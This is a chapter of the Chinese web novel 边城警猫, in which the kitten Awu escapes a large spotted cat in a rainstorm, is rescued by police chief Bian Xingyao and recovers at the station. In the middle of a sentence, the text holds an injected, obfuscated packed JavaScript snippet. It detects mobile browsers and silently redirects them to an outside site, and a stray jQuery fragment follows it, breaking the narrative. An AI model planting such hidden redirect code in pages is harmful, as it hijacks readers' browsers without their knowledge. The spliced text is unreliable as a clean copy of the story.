7. 第 7 章

作品:《边城警猫

    黑云慢悠悠地飘过,遮住了月亮。


    一双眼在沉沉黑夜中闪着光,大而柔软的肉垫落在地上悄无声息。


    坑洞里的猎物发出均匀的呼吸声,猎手猛冲上前,却扑了个空。


    阿五早已清醒,身在陌生的环境里,她是绝不会陷入沉眠的,更何况是在危机重重的林子里呢?


    芭蕉叶掀翻在地,阿五冲向了水蛭谷的方向。


    “呼哧呼哧。”


    阿五喘着气,飞奔在林子间。


    身后的花斑大猫紧追不舍。


    阿五暗叹,怎么又遇到了一只花斑大猫!闻着味,倒不是上次那一只。


    但无论是哪一只,她都打不过,得赶紧逃。


    树是不好上的,都是猫,那只大猫的爬树功夫肯定不弱。


    然而经过长时间的奔跑和躲避,阿五的四肢已感受到了乏力,呼出的气也越来越急。


    “嗤——”


    阿五的后腿被花斑大猫一爪钩中,疼痛激得她又快了几分。


    那花斑大猫却并没有上来补第二爪,而是悠哉游哉地跟在了阿五身后,似乎找到了好玩的玩具。


    阿五急速跳过一棵倒伏大树,目光四下扫视,以期寻找到逃命的机会。


    花斑大猫的一爪又已追到,阿五险险一个转弯避过,三两下爬上了树。


    再跑下去花斑大猫没事,她却要喘不过气了。


    阿五一门心思地往又高又细的树枝上爬,可身后花斑大猫爬树也如履平地,比她更快。


    阿五见状,咬牙攀上了一根细枝条。


    枝条摇摇晃晃,阿五费力勾住,往树梢而去。


    呼——呼——


    噼啪噼啪。


    夜深风起,大雨忽至。


    树枝一沉,阿五突地往下一坠。


    花斑大猫上来了。


    前方枝条太软太细,她已无路可走。


    阿五回头,与同样站在细树枝上的花斑大猫对上了视线。


    大猫冷冷注视着树梢上摇晃炸毛的猎物,乌黑的尾巴尖往上一翘。


    玩腻了。


    雨珠织成密密的大网,将雨林罩得密不透风。


    阿五伏低身体,尽力保持平衡。


    花斑大猫小心翼翼地往前,顷刻间树枝晃得更厉害了,前方的猎物脚爪一滑,坠下了树。


    花斑大猫一喜,凌空扑向猎物。


    阿五尽力在空中扭动,调整身姿,落地的一瞬间却没有逃。她返身跳起,冲着花斑大猫的脸就是一爪。


    一击得手,阿五迅疾逃走。


    不论是谁,想要她的命,都不会那么容易!


    她一定、一定会活着,等到阿娘他们醒来,一家人团聚!


    阿五在扑面而来的风雨里奔跑,双眼中尽是狠厉。


    花斑大猫的鼻子被抓伤,凶性大发,在雨中发狂似地追逐阿五。


    阿五的呼吸灼热,脑子却很冷静。


    即使她的身上已多了好几道爪痕,眼前也有些模糊。


    距离所长所在的宅院,还有漫漫长路。


    不能再这样下去。


    “呼哧呼哧。”阿五就地一滚,身侧却又被花斑大猫的爪尖划开了一道口子。鲜血洒落在翠绿的枝叶上,倏忽间被雨水冲进了泥土。


    她踉跄了两步,眼光扫过,脚步一转如游鱼般钻进了倒在地上的一棵树中。


    阿五不断往深处而去,直至碰到阻碍。


    她迅速在树干里掉了个头,紧张地注视着洞口。


    这是一棵折断的大树,树干中空。阿五想,这个洞口大小,花斑大猫应当是进不来的。


    果然花斑大猫在洞口掏了半天,都没有抓到小猫。


    大猫的爪子从洞口消失了。


    阿五屏息凝视黑乎乎的洞口,两只耳朵一动一动地捕捉周遭动静。


    雨打枝干的噼啪声,风吹树叶的哗哗声,就是没有大猫的脚步声。


    阿五全身的毛都已炸起,即刻往出口赶去。


    树干被重重一击,树皮被利爪掀开。


    阿五身形不稳,一脑袋撞了个眼冒金星。


    “吼!”


    花斑大猫愤怒的吼声近在咫尺。


    那一爪下的树干里是空的。


    阿五晃晃脑袋,又往前赶。


    这棵树太脆了。


    抵不过大风,也无法抵挡花斑大猫的利爪。


    花斑大猫不断地用蛮力将树皮掀走,洞口它钻不进去,那就逼猎物出来。


    期间大猫还会猛然冲到洞口,两边来回堵,誓要捉住这只伤害了它的小东西。


    闪电划过夜空。


    阿五瞅准间隙,一鼓作气从洞口冲出。


    短暂的光明点亮了雨林,也照亮了阿五的身影。


    “轰隆——”


    雷声大作。


    白光却未随着闪电的离去而消散,而是重新聚焦在了阿五身上。


    “小猫?”


    雷声与人声交融,轻不可闻。


    阿五却听清了,她心弦一紧,马上停住了脚步,回身嘶吼:“哈!!”


    身后却已经没有了猎手的身影。


    花斑大猫嗅到人味,早已退开几步,不甘心地隐在林中窥伺。


    边星遥晃了下手电。


    阿五余光一瞟,发现身边忽然钻出了好些个人,端着一把奇特的玩意半蹲在地上警戒四周。


    边星遥冲向了阿五。


    “小猫?”他难以置信地瞧着地上狼狈不堪的小猫。


    花斑大猫退走了。


    它闻到了危险的味道。


    阿五忌惮地瞄了几眼人类拿着的黑色玩意,到底是松了口气,软顿在了湿淋淋的地上:“咪。”


    是我。


    所里的车又急匆匆地下了山。


    巧的是山下的兽医站里,值班的还是刀医生。


    刀医生放下手中热气腾腾,还没吃两口的酸汤米线,起身走出柜台,还顺手用衣服下摆擦了擦眼镜。看过阿五的伤情后,她二话不说进了房间开始准备工作。


    边星遥瞧了那碗米线一眼:“不好意思,打扰你吃饭了刀医生。”


    刀医生摇摇头:“说说什么情况?”


    边星遥将情况大致讲了讲。


    此刻阿五浑身发抖地缩在染血的毛巾里,已昏迷不醒。


    等阿五再次醒来,恍如隔世。


    脑子混沌沌的,但她第一反应就是抬爪去摸胸口的坠子。


    呼,坠子还在。


    阿五的目光划过周围,物什都很眼熟,这是所长的屋子。


    房内无人,而她如上次一般,住在床尾的纸箱里。


    只是怎么感觉浑身上下有些动弹不得,束手束脚的。


    阿五低头一打量,怔住了。


    她怎么裹的和万里似的,浑身上下都是白布。


    每个受了伤的小动物,都得被这么裹起来吗?


    好浪费布哦。


    听闻小猫醒了,马自平特意为阿五端来了肉饼蒸蛋:“慢慢吃,谢谢你上次帮我们捉老鼠,还有千万别去抓鸡了!”


    肉饼蒸蛋的香气熏得阿五迷迷糊糊。


    笃笃——


    门被叩响。


    边星遥拉开门。


    门外是教导员舒瀚海。


    “教导员?”


    舒瀚海笑眯眯的:“所长,我来给你送信,顺便瞧瞧大战豹子的小猫。”


    “那我走了。”马自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201080|165710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    平赶忙起身离开。


    舒瀚海笑笑:“好。”


    边星遥接过黄色信封,扫了眼字迹:“我妹妹的信啊,多谢。”


    “顺手的事。”


    阿五瞄了眼教导员,放心地继续埋头大吃特吃。


    肉饼蒸蛋真是这世界上最好吃的东西!


    舒瀚海拉过小马扎坐下,瞧小猫吃东西。


    边星遥则靠在书桌边拆信。


    待读完信,边星遥的脸色已变得古怪。


    舒瀚海抬头关切地问:“怎么了星遥?”


    “星澄说过些日子想和我妈一起来所里看看。”


    “啊?”舒瀚海眼睛一亮,从小马扎上站起身,“好事啊,你干嘛苦着脸。”


    “我没有。”


    “还没有呢,你说说你都四年没回过家了吧。伯母和妹妹这可是第一次来所里,必须好好招待。”舒瀚海摩拳擦掌,“有没有说什么时候来啊?”


    “没,让我定。”边星遥垂下眼,“定好了给她们回个信。”


    “回什么信啊,等信到了,那都猴年马月了。打电话去,走走走。”舒瀚海揽着边星遥就要往外走,刚到门口又住了脚,将边星遥推了回去,自己风风火火地出了门,“哎,你等等,我先去看看哪天日子比较好,待会来告诉你。”


    阿五沉浸在香气扑鼻的肉饼中,却还是闻到了所长身上传来的复杂气息,像是开心,又像是害怕。


    她疑惑地瞅了眼陷入沉思的边星遥和他手中的纸张,暗自下了决心,她定要尽快学会此地人类的语言。


    听不懂人话,实在是太麻烦了。


    这次的救命之恩,不是简单一只鸡能够报答的。


    最终边星遥的家人决定下个月月初来探亲,顺便在周边玩一玩。


    这消息再次长出了翅膀,飞向了派出所的每个角落。


    十天后。


    阿五又回到了兽医站,万里同行。


    她拆线,万里复查。


    在刀医生剪开纱布的那一刻,阿五两眼一黑。


    只要是被绷带绑着的地方,都没有毛毛,只余几片像蚯蚓一般被缝起来的丑陋粉色皮肤。


    马自平在一旁看着,见小猫两眼一闭往后一倒,吓了一大跳。


    马自平大叫:“刀医生!这是怎么了!”


    刀医生手一顿,冷冷道:“闭嘴,你头发要是秃了几块,比它还伤心。”


    “……”


    马自平老实闭了嘴。


    刀医生处理好了阿五的伤口,又瞧了万里的腿,满意点头:“恢复不错,万里可以下地走走了,不要一直躺着。”


    马自平闻言又支棱起来,事无巨细地询问记录着万里康复训练的要点。


    而阿五面如死灰地躺在原地,不愿面对她现在是个秃毛丑猫的现实。


    万里瞅着悲伤的小伙伴,赶忙安慰:“汪汪~”


    日子一天天过去。


    阿五躲在所长房间,直到新毛发长了出来,才愿意在白天出门。


    虽然只有薄薄一层毛毛,但好歹是遮住了一点疤痕。


    此地的医术实是出乎阿五意料,原来皮肤是可以缝起来的!难怪当时万里嚎得那么惨呢,幸好她缝针时晕过去了,阿五庆幸地想。


    她从所长特意留的门缝中挤出,往万里的住处而去。


    “万里,坐。”


    “好犬。”


    “万里,走!”


    “慢点慢点。”


    阿五蹲坐在门口,好奇而认真地注视着院子里一人一犬的一举一动。


    此刻的万里完全变了一只犬,往常阿五还没走到门口,万里就已经闻见了她的味道开始吠叫,今天却完全不理她,只是专心地盯着马自平。